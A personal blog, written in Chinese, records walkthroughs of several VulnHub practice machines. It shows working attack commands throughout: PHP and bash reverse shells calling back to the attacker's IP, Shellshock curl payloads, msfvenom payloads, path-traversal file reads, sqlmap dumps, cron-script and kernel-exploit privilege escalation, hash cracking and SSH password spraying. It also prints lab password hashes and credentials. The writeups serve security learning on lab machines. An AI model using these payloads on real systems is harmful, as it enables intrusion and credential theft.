vulnhub打靶记录
此文诞生于本人实习期间,属于是摸鱼成果,虽然但是也没打几个靶场,毕竟哪有这么爽的鱼可以摸
只能说vulnhub
这边的靶场比较偏向教育性质,适合新手,可能进阶的那些我还没接触()
在某次训练营中,被主办方设计的比较贴近实际的仿真靶场给虐到了,后续应该会投向与HTB等靶场平台继续学习了……
nmap命令参数介绍
待补充
SickOS1.1
网络适配器
设置成NAT模式
这里靶机需要登陆
主机发现和端口扫描
ip a
获取kali本机
的ip
,然后扫描该网段的主机存活信息
nmap -sn 192.168.32.0/24
靶机上线前后各扫一次就可以找到靶机ip
了
最小速率10000
扫描,-p-
扫描全部端口
nmap --min-rate 10000 -p- 192.168.32.129
发现22端口的ssh服务
开放,3128端口的squid-http服务
开放,8080端口的http服务
关闭
tcp
再扫一下这三个端口,-sT
用TCP扫描,-sV
查看服务版本,-O
查看操作系统版本,-p
后面添加端口号
UDP
再扫一次,确保不会漏掉攻击面
nmap -sU -p22,3128,8080 192.168.32.129
还是没有关键信息
再用nmap
自带的漏洞扫描脚本扫一下
nmap --script=vuln -p22,3128,8080 192.168.32.129
一样没有关键信息
目前得到的信息是,无法访问的8080的端口web服务
,3128端口的http代理服务
,22端口的ssh服务
这边暂时不知道用户名密码也无法入手
也不知道squid
是个什么玩意,访问对应端口,然后搜squid/3.1.19
,只知道是一个比较老的开源代理服务器,还涉及到几个CVE
目录扫描
dirb http://192.168.32.129 -p http://192.168.32.129:3128
web渗透
同样需要设置代理才能访问靶机(可以直接搜proxy
)
robots.txt
告诉我们可以访问一下/wolfcms
这是一个cms内容管理系统
,并且发现文章是管理员上传的,找一下admin
登陆路径
/wolfcms/?/admin/login
,弱口令admin/admin
进去了
反弹shell提权
发现很多php
代码文件并且可以直接修改,直接塞一句反弹shell
进去<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.128/2333 0>&1'"); ?>
然后保存访问一下,靶机就可以连上我们主机了
kali
开监听2333端口
这里拿到的是mysql
的账密,看一下/etc/passwd
发现账户有root sickos www-data
,并且root sickos
都有/bin/bash
的环境,sickos
可能是一个高权限用户,尝试了ssh
登陆
发现sickos/john@123
可以登陆,知道密码我们可以直接提权sudo su
nikto扫描
思路二:
既然涉及到网页服务,也可以拿nikto
扫一下
nikto
是一个开源的网页服务器扫描器,坏处就是它不经常更新
这里还是要走一下代理
nikto -h 192.168.32.129 -useproxy http://192.168.32.129:3128
发现在/cgi-bin/status
目录下存在ShellShock
漏洞
Shellshock
,又称Bashdoor
,是在Unix
中广泛使用的Bash shell
中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash
来处理某些命令,从而允许攻击者在易受攻击的Bash
版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统
shellshock漏洞利用
这里可以通过构造恶意的Referer头
来执行任意命令
curl -v --proxy http://192.168.32.129:3128 http://192.168.32.129/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
发现成功执行了
可以反弹shell
看看有没有可利用的信息
生成bash反弹shell
命令
msfvenom -p cmd/unix/reverse_bash lhost=192.168.32.128 lport=2333 -f raw
curl -v --proxy http://192.168.32.129:3128 http://192.168.32.129/cgi-bin/status -H "Referer:() { test;}; 0<&113-;exec 113<>/dev/tcp/192.168.32.128/2333;/bin/sh <&113 >&113 2>&113"
kali
开监听nc lvnp 2333
发现交互很难看,通过包管理器
看看有没有Python
之类方便的交互shell
dpkg -l
python -c "import pty;pty.spawn('/bin/bash')"
查看网页的根目录cd /var/www
查看权限ls -al
发现connect.py
居然给到了777
,即所有用户都可读可写可执行
这里可以根据内容猜测它存在定时任务
定时任务提权
cd /etc
ls -al | grep "cron"
cd cron.d
cat automate
发现它是以root权限
每分钟执行connect.py
这个文件,这样就可以通过写Python的反弹shell命令
到connect.py
这个文件,就可以成功root
了
msfvenom -p cmd/unix/reverse_python lhost=192.168.32.128 lport=2333 -f raw
然后kali
开监听,等一分钟左右即可
总结
账密默认配置可能是个突破口,但现在的环境基本无法利用;定时任务也是一个很有用的提权思路
W1R3S1.01
主机发现和端口扫描
是一个ubuntu16
的靶机,同样需要密码登陆
nmap -sn 192.168.32.0/24
发现主机192.168.32.130
nmap --min-rate 10000 -p- 192.168.32.130
发现21端口ftp文件传输服务
,22端口ssh服务
,80端口http服务
,3306端口mysql服务
发现了wordpress
登陆网页
ftp服务
没有什么可以利用的信息,可以通过get
下载文件
wordpress
登陆页面的操作都是在跳转localhost
,不能进行爆密码操作。。。
目录扫描
换dirsearch
扫一下,kali
的dirb
没有高亮,不习惯,python ./dirsearch.py -u 192.168.32.130
http://192.168.32.130/administrator/installation/
得知这是一个Cuppa CMS
,这里的操作页面是没有什么用的,找一下CMS
的漏洞
web渗透
searchsploit cuppa
,告诉我们/alertConfigField.php
存在本地/远程文件包含
获取说明searchsploit cuppa -m 25971.txt
这里需要修改一下路径http://192.168.32.130/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
但页面并没有回显,换成POST请求
或者curl
curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" http://192.168.32.130/administrator/alerts/alertConfigField.php
读一下影子文件/etc/shadow
,因为passwd
里面的密码只能显示x
拿到
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7::: |
这里就拿到了三个用户的密码哈希
密码爆破
拿john爆一下
有密码就直接提权了
总结
本靶机找到cuppa
的漏洞即可,要注意这些不怎么明显的信息
jarbas
主机发现与端口扫描
这是个centos7
的靶机
nmap -sn 192.168.32.0/24
发现主机192.168.32.131
nmap --min-rate 10000 -p- 102.168.32.131
发现开放了22 80 3306
TCP UDP
扫,nmap
自带脚本扫,没有得到有用信息
目录扫描
dirb http://192.168.32.131
,诶,没扫到东西出来,指定后缀
dirb http://192.168.32.131 -X .php,.html
,扫出一个access.html
tiago:5978a63b4654c73c60fa24f836386d87 |
多行哈希解密
italia99 vipsu marianna
web渗透
重启了靶机才扫出8080端口
,我就说登陆界面怎么不见了。。。
账密对不上,得试试排列组合eder vipsu
登进去后,随便点击创建项目,居然发现了这个
bash -i >& /dev/tcp/192.168.32.128/2333 0>&1
写入保存然后点击立即构建,本地开监听
whoami
得知当前用户为jenkins
,读/etc/passwd
只有root ede
r有/bin/bash
环境,但读取不到/etc/shadow
接下来继续找找有没有定时任务可以利用
定时任务提权
查看系统定时任务cat /etc/crontab
发现root权限运行的定时任务,该sh脚本
是用来删日志文件的
看一下权限是777,那我们直接追加写入反弹shell
语句就好了
echo 'bash -i >& /dev/tcp/192.168.32.128/233 0>&1' >> /etc/script/CleaningScript.sh
kali
监听233端口
这里是五分钟执行一次定时任务,等一等就好了
总结
还是定时任务提权,主要原因是因为该执行脚本权限给的太高了
primes
哦豁,这是一台用于OSCP考试
的靶机
主机发现与端口扫描
nmap -sn 192.168.32.0/24
nmap --min-rate 10000 -p- 192.168.32.132
这次只发现了22和80端口
TCP UDP
自带的vuln扫描脚本
扫一遍都没发现什么东西,知道了是wordpress cms
目录扫描
dirb http://192.168.32.132
扫出了/dev
/wordpress/wp-admin
等一堆路径,依然是需要登陆,但/dev
告诉了我们要深挖,因此先不要爆破密码了(试了一手弱口令没成功)
继续扫
dirb http://192.168.32.132 -X .zip,.txt,.php
/image.php
/index.php
/secret.txt
/secret.txt
告诉我们需要在php
页面上做更多fuzz
,找到正确的参数,还给了工具链接wfuzz
,kali
自带有,并且给了下一步的提示location.txt
web渗透
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 ``http://192.168.32.132/index.php?FUZZ=
得到file
参数,结合提示访问/index.php?file=location.txt
给了/image.php
页面的参数secrettier360
发现能任意文件读取而且读不到的不会返回任何信息
找到三个有/bin/bash
环境的用户root victor guest-w3z5e1
shadow
文件读不到
还放了一句saket:x:1001:1001:find password.txt file in my directory:/home/saket:
读/home/saket/password.txt
得到follow_the_ippsec
ssh
试过一遍,不对,那就登陆wordpress
,发现也不是
再访问/wordpress
看看,发现博客作者是victor
,试一下是不是他的密码
/wordpress/wp-login.php
成功进入后台
找到一个留给我们的可以执行php代码
的文件http://192.168.32.132/wordpress/wp-admin/theme-editor.php?file=secret.php&theme=twentynineteen
其他位置都不可写
写入shell
|
保存后需要访问该文件的路径才能建立连接
小查一手
http://192.168.32.132/wordpress/wp-content/themes/twentynineteen/secret.php
查看当前权限sudo -l
/home/saket/enc
发现无权限
定时任务这边,在/root/t.sh
这样就没有办法下手了
内核漏洞提权
uname -a
看到Linux
版本很低Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu
searchsploit Linux ubuntu 4.10.0-28
这里有一个提权漏洞
searchsploit -m 45010.c
查看使用方法,发现需要gcc编译
,那么我们让靶机wget
下载下来即可
kali
开web服务
,php -S 0:80
靶机在/tmp
目录下(这里有权限)执行,wget http://192.168.32.128/45010.c
gcc
编译,gcc 45010.c -o getshell
,执行然后提权./getshell
dpkg -l | grep "python"
python -c "import pty;pty.spawn('/bin/bash')"
cat /root/root.txt
OpenSSL解密
思路二:
这里从拿到www-data
权限开始,python -c "import pty;pty.spawn('/bin/bash')"
sudo -l
User www-data may run the following commands on ubuntu: |
说明当前用户能够以无密码root
权限运行enc
,但是还是需要密码,找找看
而且密码这种东西可能存在备份,find / -name "*backup*" 2>dev/null
/var/backups
的passwd.bak
shadow.bak
没有权限
cat /opt/backup/server_database/backup_pass
得到backup_password
./enc
告诉我good。。。
但是多了两个东西
/bin/cp: cannot stat '/root/enc.txt': Permission denied |
奥,命令不对
sudo ./enc
但是这也让我提前注意到了这两个文件,就在/home/saket
目录下面
nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4= |
I know you are the fan of ippsec. |
将ippsec
进行MD5加密
并以16进制
输出
echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1;}' | tr -d '\n' | od -A n -t x1| tr -d '\n' | tr -d ' '
openssl -h
,把enc
的算法写入到CipherTypeRaw
vim CipherTypeRaw
换行分割解密算法,awk '{gsub(" ","\n");print}' CipherTypeRaw | sort | uniq > CipherTypes
解密算法遍历输出,for cipher in $(cat CipherTypes); do echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a -$cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;echo $cipher;done
Dont worry saket one day we will reach to |
得到saket/tribute_to_ippsec
,ssh saket@192.168.32.132
sudo -l
User saket may run the following commands on ubuntu: |
sudo /bin/bash
得到
Sorry, user saket is not allowed to execute '/bin/bash' as root on ubuntu.
尝试sudo /home/victor/undefeated_victor
,得到if you can defeat me then challenge me in front of you /home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found
给/tmp/challenge
赋予/bin/bash
的可执行环境,即可root
权限执行,成功root
echo '#!/bin/bash' > /tmp/challenge |
总结
感觉低版本内核漏洞还是太少见了,不过OpenSSL
解密也是一种新奇的思路
LAMPSecurity: CTF4
主机发现与端口扫描
192.168.32.133
PORT STATE SERVICE |
TCP UDP
扫都没什么东西
nmap
自带漏洞脚本,扫出了CSRF、SQL
注入漏洞
web渗透
看了一些登陆页面和/robots.txt
的路径,小爆了账密一下,没有用,/mail
,SquirreMail1.4.17
,存在远程代码执行漏洞,但找不到有用的相关参考,然后博客文章,试了一下,发现用的是mysql
http://192.168.32.133/index.html?page=blog&title=Blog&id=5
sqlmap
直接爆数据库
sqlmap -u 'http://192.168.32.133/index.html?page=blog&title=Blog&id=5' --dbs --dump --batch
Database: ehks |
尝试ssh
登陆,Kali
这边有问题,windows
这边成功了
ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss dstevens@192.168.32.133 -o macs=hmac-sha1-96
有密码,sudo su
或者sudo /bin/bash
,新启动一个新的bash
线程命令,成功root
,后续发现只有数据库里面的前两个用户可以root
总结
成脚本小子了()
LAMPSecurity: CTF5
主机发现与端口扫描
192.168.32.134
PORT STATE SERVICE |
用nmap
自带的漏洞脚本扫一下,嘶,跟上个靶机的情况一样
web渗透
访问web服务
,发现Blo
g登陆里面的NanoCM
S,小爆一手admin
,没有
既然是cms
,那找找洞searchsploit nanocms
NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)
远程代码执行,但需要登陆认证
继续搜索(nanocms exploit
,搜漏洞的话,全是这个靶场的wp
),找到了NanoCMS '/data/pagesdata.txt' Password Hash Information Disclosure Vulnerability
s:8:"username";s:5:"admin";s:8:"password";s:32:"9d2f75377ac0ab991d40c91fd27e52fd";
somd5查一手,得到shannon
提权
随便找个可以编辑代码的地方,插进去(因为这里就是个php
文件)
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.128/2333 0>&1'"); ?>
然后访问
cat /etc/passwd
,看见了很多有/bin/bash
环境的用户,但没有密码,也看不了shadow
文件
注意隐藏目录ls -al
,/home
目录下,patrick
目录发现了tomboy桌面笔记软件,看看历史.tomboy.log
12/5/2012 7:25:03 AM [DEBUG]: Saving 'Root password'...
或者直接搜pass字符串
(这也是个找关键字符串的好东西啊),grep -R -i pass /home/* 2>/dev/null
cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note
得到50$cent
可交互shell
,python -c 'import pty; pty.spawn("/bin/bash")'
切换root
用户,su root
总结
多翻翻用户的日志?看用户整了点什么操作
LAMPSecurity: CTF7
主机发现与端口扫描
emmm,重启了好几次都扫不到,参考修改配置文件
后面才发现原来打开靶机的时候要选择我已移动该虚拟机
192.168.32.135
PORT STATE SERVICE |
都扫了一遍,没什么东西
web渗透
80端口这边,貌似只有注册用户,连登陆界面都没有看见,SQL注入也试了一下,不行
8080端口上来就是登陆,然后抓包想爆一下,发现了这东西
<!--select * from users where username='admin' AND password=md5('admin123') and is_admin=1-->
这里就很舒服了,直接单引号闭合,万能密码登陆,' or 1=1 #
,密码随便
http://192.168.32.135:8080/readings.php
,找个编辑框写入反弹shell,<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.128/2333 0>&1'"); ?>
There was a problem uploading to /var/www/html/assets/
发现他们下载的文件都在/var/www/html/assets/
,但我们代码是无法被执行的
并且这个目录下的内容是可访问的,我们可以直接把反弹shell语句写入到文件,然后上传(其他两个位置是无法上传文件的)
http://192.168.32.135/assets/
访问该文件即可
提权
python -c "import pty;pty.spawn('/bin/bash')"
获取交互shell
sudo -l
查看权限,没密码
cat /etc/passwd
cat /etc/shadow
,没权限
回到web目录
,回退,/var/www/admin
,然后在/var/www/admin/inc/db.php
发现数据库密码为空
mysql -u root -p
直接就登进来了
show databases; |
复制账号密码,然后保存利用命令行导出密码哈希
cat up | awk -F ' ' {'print $4'} > password.txt
先解压rockyou字典,sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
hashcat -a 0 -m 0 password.txt /usr/share/wordlists/rockyou.txt
以前想用hashcat
爆,发现都是没内存?然后这次参考修改,换成单核(1*4,之前2*2),内存拉到4g(以前2g)
把爆破结果复制保存,然后继续分割
cat pass.txt | awk -F ':' {'print $2'} > password
用户名也搞一手
cat up | awk -F ' ' {'print $2'} | awk -F '@' {'print $1'} > username
密码喷射脚本登陆ssh
apt-get install crackmapexec
crackmapexec ssh 192.168.32.135 -u username -p password --continue-on-success
brian:my2cents |
ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss brian@192.168.32.135 -o macs=hmac-sha1-96
有密码直接root就好了
总结
- 数据库中肯定会记录一些关键信息,看看有没有办法获取
- 批量ssh登陆,
crackmapexec
是个好东西
pWnOS2.0
主机发现与端口扫描
需要先将vmware
的子网设成10.10.10.0
nmap -sn 10.10.10.0/24
这个靶机固定ip为10.10.10.100
只扫出了22、80
端口,vuln脚本
扫描可以发现是一个博客系统
目录扫描
没什么关键信息,从/blog
入手
web渗透
开始一顿乱点,万能密码还能登陆,但没鸟用
但这里还可以sql注入,抓登陆包保存,然后
sqlmap -r packet.txt --dbs |
可惜kali
这边没爆出来但是拿到了密码哈希,可以在线网站解,但后面发现根本没用
/blog/rss.php
,发现SPHPBLOG 0.4.0
,index.ph
p显示的是Simple PHP Blog 0.4.0
,那就是一个博客cms喽,也可以用whatweb
识别一下whatweb http://10.10.10.100/blog/
searchsploit Simple PHP Blog 0.4.0
searchsploit Simple PHP Blog 0.4.0 -m 1191.pl
perl
脚本,安装依赖apt install libswitch-perl
perl 1191.pl
看看怎么个用法
perl 1191.pl -h http://10.10.10.100/blog -e 3 -U HvAng -P HvAng
1和2都没利用到,2的哈希一看就是加盐了,破解不了
登陆后,new blog
可写入shell语句但貌似无法访问
找到一个上传图像的页面/blog/upload_img.php
,<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/2333 0>&1'");?>
上传shell.php
之后拿不到路径,那就大胆猜测一手/blog/images
发现上面1
的cmd.php
也在这http://10.10.10.100/blog/images/cmd.php?cmd=
,不过还是终端好用
提权
dpkg -l | grep python
python -c "import pty;pty.spawn('/bin/bash')"
翻了一下/etc/passwd
/etc/shadow
/etc/crontab
,找到了用户Dan
有/bin/bash
环境,然后继续找找数据库,找到数据库配置文件
cat /var/www/mysqli_connect.php
mysql -u root -p
,密码goodday
,居然不对
再找一下,find / -name 'mysqli_connect.php' 2>/dev/null
,得到/var/mysqli_connect.php
密码为root@ISIntS
show databases; |
得到Dan
的密码哈希c2c4b4e51d9e23c02c15702c136c3e950ba9a4af
,在线网站得到killerbeesareflying
丢,密码不对
尝试直接root
,ssh root@10.10.10.100
,密码root@ISIntS
,阿西吧
总结
还是要注意数据库敏感信息
pWnOS1.0
主机发现与端口扫描
现在学聪明了,都选择我已移动虚拟机
192.168.32.128
,我的kali
到129了
PORT STATE SERVICE |
好像没什么信息了
web渗透
对参数进行修改,触发报错
http://192.168.32.128/index1.php?help=true&connect=
,Warning: include()
可知此处可以进行文件包含
root:x:0:0:root:/root:/bin/bash |
访问扫描的目录,http://192.168.32.128/php/phpMyAdmin/
发现phpMyAdmin 2.6.3-pl1
,没密码,先放一边
那就只有10000端口可以访问了,是webmin
的登陆界面,找默认账密,登不上去
searchsploit webmin
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure | multiple/remote/1997.php |
有任意文件读取漏洞,正好我们读不到shadow
文件,我们可以试试看
searchsploit webmin -m 2017.pl
perl 2017.pl -h
perl 2017.pl 192.168.32.128 10000 /etc/shadow 0
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7::: |
上面内容保存为hash
文件
john hash --wordlist=/usr/share/wordlists/rockyou.txt
得到vmware/h4ckm3
ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@192.168.32.128 -o macs=hmac-sha1-96
提权
这台机子跑不了sudo
,看了下定时任务,貌似没思路
然后,前面读取的shadow
文件,肯定是以root的权限读取的,那么我们通过靶机执行我们的反弹shell
脚本就可以root了
cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi
并且vim
修改ip
和端口
kali
开启web
服务php -S 0:80
靶机下载wget http://192.168.32.129/shell.cgi
,并添加执行权限,chmod +x shell.cgi
perl 2017.pl 192.168.32.128 10000 /home/vmware/shell.cgi 0
kali
开启监听
这里必须使用cgi
后缀的原因貌似是,靶机的作者对apache
中间件做了解析后缀的限制,但是没有限制cgi
文件,其他的php
、pl
文件都无法执行
思路二
还是根据上面的任意文件读取漏洞来的,因为我们可能未必能读到shadow
文件,权限不够
ssh敏感文件Authorized_keys获取
根据参考文章:OpenSSL 0.9.8e
这个版本的OpenSSL
可以根据公钥找到私钥,实现免密登陆(可是你没登陆靶机怎么知道哪个版本呢?)
perl 2017.pl 192.168.32.128 10000 /home/vmware/.ssh/authorized_keys 0
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQuiE5Wy9DwYVfLrkkcDB2uubtMzGw9hl3smD/OwUyXc/lNED7MNLS8JvehZbMJv1GkkMHvv1Vfcs6FVnBIfPBz0OqFrEGf+a4JEc/eF2R6nIJDIgnjBVeNcQaIM3NOr1rYPzgDwAH/yWoKfzNv5zeMUkMZ7OVC54AovoSujQC/VRdKzGRhhLQmyFVMH9v19UrLgJB6otLcr3d8/uAB2ypTw+LmuIPe9zqrMwxskdfY4Sth2rl6D3bq6Fwca+pYh++phOyKeDPYkBi3hx6R3b3ETZlNCLJjG7+t7kwFdF02Iuw== vmware@ubuntuvm |
这个版本的OpenSSH
用了伪随机数获取密钥,我们可以用伪随机数生成器PRG
(pseudo random number generator)进行私钥的破解
searchsploit prng |
ssh -i private_key -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss vmware@192.168.32.128 -o macs=hmac-sha1-96
难绷,windows
这边也登不上去了,还是需要密码,kali
直接command-line line 0: Bad key types 'ssh-rsa,ssh-dss'.
,不会整了,蒜鸟蒜鸟
所以,这一步正常的话是可以通过私钥文件,免密登陆的
shellshock漏洞提权
bash --version
,GNU bash, version 3.2.25(1)-release (i486-pc-linux-gnu)
,远低于4.3版本,我们可以用shellshock漏洞提权
vim shellshockexp.cgi
,写入#!/bin/bash
curl 'http://192.168.32.128:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/shellshockexp.cgi' -A '() { :; }; /bin/echo "vmware ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers'
好吧,这一步也不行,成功的情况只返回一行?
<h1>Error - Missing Content-Type Header</h1> |
正常来说,sudo /bin/bash
即可提权成功了
同样的,Linux内核版本也较低,可以尝试内核提权,找好exp
即可
Linux ubuntuvm 2.6.22-14-server
总结
需要关注一些特殊文件的读取权限,看看能否成为突破口;还有就是关注低版本服务的漏洞
holynix(未完成)
主机发现与端口扫描
nmap -sn 192.168.32.0/24
192.168.32.130
nmap --min-rate 10000 -p- 192.168.32.130
只扫出了80端口
扫描脚本也没什么东西,SQL注入这些
web渗透
一进去是个登陆界面,不是市面上的cms
一开始在用户名处试万能密码,没反应,那就看看报错位置,账密都输入单引号,然后报错了
SQL Error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 |
原来用户名这里被转义了
xx/' or 1=1#
发现上传,但没权限Home directory uploading disabled for user alamo
Security
这里可以文件读取,但get看不见请求,尝试post
http://192.168.32.130/index.php?page=ssp.php
请求体B=Display+File&text_file_name=ssp%2Femail.txt
text_file_name
可以实现文件读取
(可能不更新了)……